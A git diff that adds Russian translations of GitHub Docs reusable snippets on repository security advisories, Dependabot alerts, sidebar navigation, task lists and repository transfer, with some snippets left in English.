b/translations/ru-RU/data/reusables/repositories/security-advisories-republishing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7b189ead10534e3ac5330033621ce26f9185e729 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148114116" +--- +Вы также можете использовать рекомендации по безопасности репозитория для повторной публикации сведений об уязвимости безопасности, которые вы уже раскрыли в другом месте, скопировав и вставив сведения об уязвимости в новые рекомендации по безопасности. diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-admin-permissions.md b/translations/ru-RU/data/reusables/repositories/security-advisory-admin-permissions.md new file mode 100644 index 000000000000..ecab7d031fc7 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-admin-permissions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 68d9ec76546df99c33306c7b76f6bd8e4ce076dc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118075" +--- +Любой пользователь с правами администратора в репозитории может создать рекомендации по безопасности. + +Любой пользователь с разрешениями администратора в репозитории также имеет разрешения администратора для всех рекомендаций по безопасности в этом репозитории. Пользователи с разрешениями администратора для рекомендаций по безопасности могут добавлять участников совместной работы, а участники совместной работы имеют разрешения на запись в рекомендации по безопасности. diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-collaborators-public-repositories.md b/translations/ru-RU/data/reusables/repositories/security-advisory-collaborators-public-repositories.md new file mode 100644 index 000000000000..fa39eb825e44 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-collaborators-public-repositories.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2afb1b3c1ba7b45c564d5717d5f0f06ff4671daf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092578" +--- +Если вы удаляете пользователя из репозитория или организации, а он также является сотрудником по вопросам безопасности, он все равно будет иметь доступ к рекомендациям по безопасности. diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-edit-cwe-cve.md b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-cwe-cve.md new file mode 100644 index 000000000000..bdc4f1ba55e3 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-cwe-cve.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 144bfacee2ad8acb91211f080b4039c199126822 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118072" +--- +1. Добавьте распространенные перечислители уязвимостей (CWE) для типов слабых мест безопасности, к которым обращается эта рекомендация по безопасности. Полный список CWE см. в разделе [Перечисление распространенных ошибок](https://cwe.mitre.org/index.html) из MITRE. +1. Если у вас есть идентификатор CVE, выберите "У меня есть идентификатор CVE" и введите идентификатор CVE в текстовом поле. В противном случае можно запросить CVE из {% data variables.product.prodname_dotcom %} позже. Дополнительную информацию см. в разделе [Сведения о {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories#cve-identification-numbers). diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-edit-description.md b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-description.md new file mode 100644 index 000000000000..37b3e528ca8f --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 82d3b95dd7a6defb7a9909aa6faa359f4232da96 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092574" +--- +1. Введите описание уязвимости системы безопасности. + ![Описание уязвимости в рекомендации по безопасности](/assets/images/help/security/security-advisory-description.png) diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-edit-details.md b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-details.md new file mode 100644 index 000000000000..d5c2f9318748 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-details.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3d27adaffb72590a7fa08bb6d94c2e627fde6bc3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107659" +--- +1. Измените продукт и версии, затронутые уязвимостью системы безопасности, способы устранения которой приводятся в этой рекомендации по безопасности. Если применимо, в ту же рекомендацию можно добавить несколько затронутых продуктов. + ![Метаданные](/assets/images/help/security/security-advisory-affected-product.png) рекомендаций по безопасности. Сведения о том, как указать сведения о форме, включая затронутые версии, см. в разделе "[Рекомендации по написанию рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories)". diff --git a/translations/ru-RU/data/reusables/repositories/security-advisory-edit-severity.md b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-severity.md new file mode 100644 index 000000000000..8c269b38a88f --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-advisory-edit-severity.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 565d4b5049e4be1a9804149a0ba40e649367b2f9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882162" +--- +1. Выберите уровень серьезности уязвимости системы безопасности. Чтобы назначить оценку CVSS, выберите "Оценка серьезности с помощью CVSS" и выберите соответствующие значения в калькуляторе. {% data variables.product.product_name %} вычисляет оценку в соответствии с данными, указанными в [калькуляторе общей системы оценки уязвимостей](https://www.first.org/cvss/calculator). + ![Раскрывающееся меню для выбора уровня серьезности](/assets/images/help/security/security-advisory-severity.png) diff --git a/translations/ru-RU/data/reusables/repositories/security-alert-delivery-options.md b/translations/ru-RU/data/reusables/repositories/security-alert-delivery-options.md new file mode 100644 index 000000000000..5c2d9404e40e --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-alert-delivery-options.md @@ -0,0 +1,3 @@ +{% ifversion not ghae %} +If your repository has a supported dependency manifest{% ifversion fpt or ghec %} (and if you've set up the dependency graph if it's a private repository){% endif %}, whenever {% data variables.product.product_name %} detects a vulnerable dependency in your repository, you will receive a weekly digest email. You can also configure your security alerts as web notifications, individual email notifications, daily email digests, or alerts in the {% data variables.product.product_name %} interface. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/ru-RU/data/reusables/repositories/security-alerts-x-github-severity.md new file mode 100644 index 000000000000..46bffcebed35 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-alerts-x-github-severity.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ee85e47f16ce68dbd3cac0f339069b9dbe6a00ea +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118056" +--- +Отправляемые по электронной почте уведомления для {% data variables.product.prodname_dependabot_alerts %}, влияющие на один или несколько репозиториев, содержат поле заголовка `X-GitHub-Severity`. Значение поля заголовка `X-GitHub-Severity` можно использовать для фильтрации отправляемых по электронной почте уведомлений для {% data variables.product.prodname_dependabot_alerts %}. diff --git a/translations/ru-RU/data/reusables/repositories/security-guidelines.md b/translations/ru-RU/data/reusables/repositories/security-guidelines.md new file mode 100644 index 000000000000..8998df6b76ae --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/security-guidelines.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cacb54e3b13cf02d1decf4fa78af6f76427d1a5a +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145118051" +--- +Вы можете создать политику безопасности, чтобы предоставить пользователям инструкции о том, как сообщать об уязвимостях системы безопасности в проекте. Дополнительные сведения см. в статье "[Добавление политики безопасности в репозиторий](/code-security/getting-started/adding-a-security-policy-to-your-repository)". diff --git a/translations/ru-RU/data/reusables/repositories/select-items-in-issue-or-pr-list.md b/translations/ru-RU/data/reusables/repositories/select-items-in-issue-or-pr-list.md new file mode 100644 index 000000000000..0efeff364ee9 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/select-items-in-issue-or-pr-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: cbfe216c5621df577e91185f801425df8beb2dce +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879058" +--- +3. Установите флажок рядом с элементами, к которым требуется применить метку. + ![Флажок "Метаданные проблем"](/assets/images/help/issues/issues_assign_checkbox.png) diff --git a/translations/ru-RU/data/reusables/repositories/select-marketplace-apps.md b/translations/ru-RU/data/reusables/repositories/select-marketplace-apps.md new file mode 100644 index 000000000000..5aa22727917d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/select-marketplace-apps.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 43a6621b1a7034d12f756bcd8b53bd461e28b505 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118043" +--- +{% ifversion fpt or ghec %} +1. Если личная учетная запись или организация, в которой выполняется создание, использует какие-либо приложения {% data variables.product.prodname_github_apps %} из {% data variables.product.prodname_marketplace %}, выберите все приложения, которые вы хотите использовать в репозитории. + ![Список приложений {% data variables.product.prodname_github_apps %} вашей учетной записи из {% data variables.product.prodname_marketplace %} и параметр предоставления доступа](/assets/images/help/repository/create-repository-choose-marketplace-apps.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/sensitive-info-warning.md b/translations/ru-RU/data/reusables/repositories/sensitive-info-warning.md new file mode 100644 index 000000000000..683c75c9c30e --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sensitive-info-warning.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 6401640a3202133edc0d35cc683a65e314474bdb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118027" +--- +{% warning %} + +**Предупреждение**. Никогда не выполняйте команды `git add`, `commit` или `push` в отношении конфиденциальной информации в удаленном репозитории. К конфиденциальной информации, помимо прочего, могут относиться следующие сведения: + +- Пароли +- Ключи SSH +- [Ключи доступа AWS](http://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html) +- Ключи API +- номера кредитных карт; +- ПИН-код + +Дополнительные сведения см. в разделе [Удаление конфиденциальных данных из репозитория](/articles/removing-sensitive-data-from-a-repository). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-general.md b/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-general.md new file mode 100644 index 000000000000..14789aea6cad --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-general.md @@ -0,0 +1 @@ +{% data reusables.actions.settings-ui.settings-actions-general %} diff --git a/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-runners.md b/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-runners.md new file mode 100644 index 000000000000..c667ed15286a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/settings-sidebar-actions-runners.md @@ -0,0 +1 @@ +{% data reusables.actions.settings-ui.settings-actions-runners %} diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-advisories.md b/translations/ru-RU/data/reusables/repositories/sidebar-advisories.md new file mode 100644 index 000000000000..5faaddc37687 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-advisories.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b598a0f5e8e2d131e5381f0f867518de344084c9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159973" +--- +1. На левой боковой панели в разделе "Отчеты" щелкните **Рекомендации**. + ![Вкладка "Рекомендации по безопасности"](/assets/images/help/security/advisories-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-code-scanning-alerts.md b/translations/ru-RU/data/reusables/repositories/sidebar-code-scanning-alerts.md new file mode 100644 index 000000000000..ef04ab3ba3ef --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-code-scanning-alerts.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e96b3c58c4a0696af1ec1cd143b19918e90dc585 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117984" +--- +1. На левой боковой панели щелкните **Оповещения о проверке кода**. + ![Вкладка "Оповещения о проверке кода"](/assets/images/help/repository/sidebar-code-scanning-alerts.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-dependabot-alerts.md b/translations/ru-RU/data/reusables/repositories/sidebar-dependabot-alerts.md new file mode 100644 index 000000000000..4183d71bb3d3 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-dependabot-alerts.md @@ -0,0 +1,2 @@ +1. In the security sidebar, click **{% data variables.product.prodname_dependabot_alerts %}**. If this option is missing, it means you don't have access to security alerts and need to be given access. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."{% ifversion fpt or ghec %} +![{% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/help/repository/dependabot-alerts-tab.png){% else %}![{% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/enterprise/repository/dependabot-alerts-tab.png){% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-issue-pr.md b/translations/ru-RU/data/reusables/repositories/sidebar-issue-pr.md new file mode 100644 index 000000000000..9e9c94aa5bf0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-issue-pr.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3b4eaafe31bc0fcefd81db0fc44004718a113b33 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879836" +--- +1. Под именем репозитория щелкните {% octicon "issue-opened" aria-label="The issues icon" %} **Проблемы** или {% octicon "git-pull-request" aria-label="The pull request icon" %} **Запросы на вытягивание**. +![Выбор вкладки "Проблемы и запросы на вытягивание"](/assets/images/help/repository/repo-settings-issues-pull-requests.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-issues.md b/translations/ru-RU/data/reusables/repositories/sidebar-issues.md new file mode 100644 index 000000000000..32dd1f394548 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-issues.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 12b6cdae81035d2d126aae6a637044a754b57a73 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067661" +--- +2. Под именем репозитория щелкните {% octicon "issue-opened" aria-label="The issues icon" %} **Проблемы**. + + ![Вкладка "Проблемы"](/assets/images/help/repository/repo-tabs-issues.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-moderation-reported-content.md b/translations/ru-RU/data/reusables/repositories/sidebar-moderation-reported-content.md new file mode 100644 index 000000000000..69d37d4383ad --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-moderation-reported-content.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 484b0f2e7e512bd088f1aeb67cae2beac898690c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879069" +--- +1. В разделе "Доступ" на боковой панели выберите **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Параметры модерации**, а затем щелкните **Содержимое с жалобами**. diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-notifications.md b/translations/ru-RU/data/reusables/repositories/sidebar-notifications.md new file mode 100644 index 000000000000..c2070bd5cd0c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-notifications.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Integrations" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Email notifications**. +{% else %} +1. Click **Notifications**. +![Notifications button in sidebar](/assets/images/help/settings/notifications_menu.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-pr.md b/translations/ru-RU/data/reusables/repositories/sidebar-pr.md new file mode 100644 index 000000000000..83cfc822f2f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-pr.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0d8d77d582852abcca246c3d4dcabf7a13db2d6b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879085" +--- +1. Под именем репозитория щелкните{% octicon "git-pull-request" aria-label="The pull request icon" %} **Запросы на вытягивание**. + {% ifversion fpt or ghec %} ![Выбор вкладки "Проблемы и запросы на вытягивание"](/assets/images/help/repository/repo-tabs-pull-requests.png){% elsif ghes or ghae %} ![Выбор вкладки "Запрос на вытягивание"](/assets/images/enterprise/3.3/repository/repo-tabs-pull-requests.png){% else %} ![Выбор вкладки "Проблемы"](/assets/images/enterprise/3.1/help/repository/repo-tabs-pull-requests.png){% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-security.md b/translations/ru-RU/data/reusables/repositories/sidebar-security.md new file mode 100644 index 000000000000..34fbf6aef30a --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-security.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 88f9918556730cd1d87c09c72a032d15a149d220 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159949" +--- +1. Под именем репозитория щелкните **{% octicon "shield" aria-label="The shield symbol" %} Security**. +![Вкладка "Безопасность"](/assets/images/help/repository/security-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-settings.md b/translations/ru-RU/data/reusables/repositories/sidebar-settings.md new file mode 100644 index 000000000000..314755f5a218 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 907b9c59300457e80e00e9439107a07fe7b32069 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117920" +--- +1. Нажмите **Параметры** {% octicon "gear" aria-label="The gear icon" %} под именем репозитория. +![Кнопка параметров репозитория](/assets/images/help/repository/repo-actions-settings.png) diff --git a/translations/ru-RU/data/reusables/repositories/sidebar-wiki.md b/translations/ru-RU/data/reusables/repositories/sidebar-wiki.md new file mode 100644 index 000000000000..5c1ee5f0a6b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/sidebar-wiki.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: db38d0ccc27f36dad87bed0e09e3fa803030c437 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117915" +--- +1. Под именем репозитория щелкните {% octicon "book" aria-label="Book symbol" %} **Wiki**. +![Ссылка на вики-меню](/assets/images/help/wiki/wiki_menu_link.png) diff --git a/translations/ru-RU/data/reusables/repositories/squash-and-rebase-linear-commit-history.md b/translations/ru-RU/data/reusables/repositories/squash-and-rebase-linear-commit-history.md new file mode 100644 index 000000000000..c3c259e77fd4 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/squash-and-rebase-linear-commit-history.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a92ce8031a51b896af4fe254a2e9165779ea268b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147580772" +--- +Если в репозитории есть правило защищенной ветви, требующее журнала линейной фиксации, необходимо разрешить сжатое слияние, повторное слияние или и то, и другое. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging). diff --git a/translations/ru-RU/data/reusables/repositories/start-line-comment.md b/translations/ru-RU/data/reusables/repositories/start-line-comment.md new file mode 100644 index 000000000000..6300638db27f --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/start-line-comment.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: fe1a4a45da5ac9ee804205443e5d5eb403dcebc3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117904" +--- +1. Наведите указатель мыши на строку кода, к которой вы хотите добавить комментарий, и щелкните синий значок комментария. Чтобы добавить комментарий к нескольким строкам, щелкните и перетащите курсор для выбора диапазона строк, а затем щелкните синий значок комментария. +![Синий значок комментария](/assets/images/help/commits/hover-comment-icon.gif) diff --git a/translations/ru-RU/data/reusables/repositories/submit-new-issue.md b/translations/ru-RU/data/reusables/repositories/submit-new-issue.md new file mode 100644 index 000000000000..8cf266e3be6d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/submit-new-issue.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b610b0cc1e54701a3990035e14d8fcac2153339a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117899" +--- +1. Закончив, нажмите кнопку **Отправить новую проблему**. diff --git a/translations/ru-RU/data/reusables/repositories/submit-review.md b/translations/ru-RU/data/reusables/repositories/submit-review.md new file mode 100644 index 000000000000..2dddc92ae4f7 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/submit-review.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d6b3b2baa36e4753b12987ac1ce9ec9f4c0cf7eb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117891" +--- +1. Надмите **Отправить отзыв**. diff --git a/translations/ru-RU/data/reusables/repositories/suggest-changes.md b/translations/ru-RU/data/reusables/repositories/suggest-changes.md new file mode 100644 index 000000000000..216fdd9ed734 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/suggest-changes.md @@ -0,0 +1,2 @@ +1. Optionally, to suggest a specific change to the line or lines, click {% octicon "file-diff" aria-label="The file diff icon" %}, then edit the text within the suggestion block. +![Suggestion block](/assets/images/help/pull_requests/suggestion-block.png) diff --git a/translations/ru-RU/data/reusables/repositories/task-list-markdown.md b/translations/ru-RU/data/reusables/repositories/task-list-markdown.md new file mode 100644 index 000000000000..41b810d7f9dc --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/task-list-markdown.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 12f5510dcd08a964f4b19618afd3607b080632f5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117888" +--- +Чтобы создать список задач, добавьте к элементам списка префикс — дефис, пробел, а затем `[ ]`. Чтобы пометить задачу как завершенную, используйте `[x]`. + +``` +- [x] #739 +- [ ] https://github.com/octo-org/octo-repo/issues/740 +- [ ] Add delight to the experience when all tasks are complete :tada: +``` + +![Отрисованный список задач](/assets/images/help/writing/task-list-rendered-simple.png) diff --git a/translations/ru-RU/data/reusables/repositories/tracks-vulnerabilities.md b/translations/ru-RU/data/reusables/repositories/tracks-vulnerabilities.md new file mode 100644 index 000000000000..3de56781d9ae --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/tracks-vulnerabilities.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: d077bcd717f353297cf908b1261c821a4e759b78 +ms.sourcegitcommit: f0ae3d979782cb532427c0df026d25bfd0d0db80 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160463" +--- +Мы добавляем советы в {% data variables.product.prodname_advisory_database %} из следующих источников. +- Советы по безопасности, опубликованные в {% data variables.product.prodname_dotcom %} +- [Национальная база данных уязвимостей](https://nvd.nist.gov/) +- [База данных рекомендаций по безопасности npm](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm) +- [База данных FriendsOfPHP](https://github.com/FriendsOfPHP/security-advisories) +- [База данных Go Vulncheck](https://pkg.go.dev/golang.org/x/vuln/vulncheck) +- [База данных рекомендаций по упаковке Python](https://github.com/pypa/advisory-database) +- [База данных рекомендаций Ruby](https://rubysec.com/) +- [База данных рекомендаций RustSec](https://rustsec.org/) +- Вклад сообщества. Дополнительные сведения см. на веб-сайте [https://github.com/github/advisory-database/pulls](https://github.com/github/advisory-database/pulls). + +Если вы знаете другую базу данных, из которую следует импортировать рекомендации, сообщите нам об этом, открыв проблему в [https://github.com/github/advisory-database](https://github.com/github/advisory-database). diff --git a/translations/ru-RU/data/reusables/repositories/transfer-repository-steps.md b/translations/ru-RU/data/reusables/repositories/transfer-repository-steps.md new file mode 100644 index 000000000000..940c7b859b18 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/transfer-repository-steps.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 9a41cc0562eb6d67140e992eab9669b410f5795d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117867" +--- +{% ifversion fpt or ghec %} +1. В разделе "Зона опасности" нажмите **Передать**. + ![Кнопка "Перенести"](/assets/images/help/repository/repo-transfer.png) +1. Прочитайте сведения о передаче репозитория, а затем введите имя пользователя или организации, которой вы хотите передать владение репозиторием. + ![Сведения о передаче репозитория и поле для ввода имени пользователя нового владельца](/assets/images/help/repository/transfer-repo-new-owner-name.png) +1. Прочитайте предупреждения о потенциальной потере функций в зависимости от подписки нового владельца. + ![Предупреждения о передаче репозитория пользователю, использующему бесплатный продукт](/assets/images/help/repository/repo-transfer-free-plan-warnings.png) +1. Введите имя репозитория, который вы хотите передать, а затем щелкните **Я понимаю, передать этот репозиторий**. + ![Кнопка "Передать"](/assets/images/help/repository/repo-transfer-complete.png) {% else %} +1. Нажмите кнопку **Передать**. + ![Кнопка "Перенести"](/assets/images/help/repository/repo-transfer.png) +1. Прочтите предупреждения и введите имя репозитория, чтобы убедиться, что все выполнено. +1. Введите имя нового владельца и щелкните **Я понимаю, передать этот репозиторий**. + ![Кнопка "Передать"](/assets/images/help/repository/repo-transfer-complete.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/two-dot-diff-comparison-example-urls.md b/translations/ru-RU/data/reusables/repositories/two-dot-diff-comparison-example-urls.md new file mode 100644 index 000000000000..f5127a68147b --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/two-dot-diff-comparison-example-urls.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bb73534f6072d8af8b4abc8ac49a8027590b05ad +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879900" +--- +Например, этот URL-адрес использует сокращенные семизначные коды SHA для сравнения фиксаций `c3a414e` и `faf7c6f`: `https://github.com/github/linguist/compare/c3a414e..faf7c6f`. diff --git a/translations/ru-RU/data/reusables/repositories/type-issue-title-and-description.md b/translations/ru-RU/data/reusables/repositories/type-issue-title-and-description.md new file mode 100644 index 000000000000..4ac3c27199f5 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/type-issue-title-and-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5eafda6102f25b9f62bf885564549348e2358bc1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 